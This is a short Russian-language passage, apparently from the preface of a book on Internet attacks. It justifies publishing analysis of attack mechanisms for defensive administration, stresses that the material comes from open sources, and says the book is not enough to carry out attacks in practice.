
1. Знание механизмов атак позволяет в значительном числе случаев предотвратить их путем правильного администрирования. Принцип "Кто предупрежден - тот вооружен" оправдывает себя в данной ситуации и лишает нападающую сторону преимуществ внезапности и скрытности.

2. Информация об атаках в Сети основывается исключительно на открытых источниках. Правда об Internet, сопровождаемая понятными специалистам доводами, важнее для пользователя, чем неясные слухи о "страшных вторжениях в каждый компьютер" или рекламная информация о "достаточной мере защиты" . Реальная оценка позволит точно установить риск использования Сети и требования к режиму ее использования.

Кроме того, сразу предупреждаем, что сведений, изложенных в книге, явно недостаточно для практического осуществления атак.

3. Предлагаемый компетентный анализ реальной опасности впервые проводится в нашей стране, и в нем нуждаются тысячи пользователей. Вместе с тем, следует учесть, что непроверенная или неполная информация о нарушениях работы сети, предоставленная неспециалисту, может быть неверно истолкована, что приведет к неправильным оценкам: излишней осторожности или, наоборот, беспечности.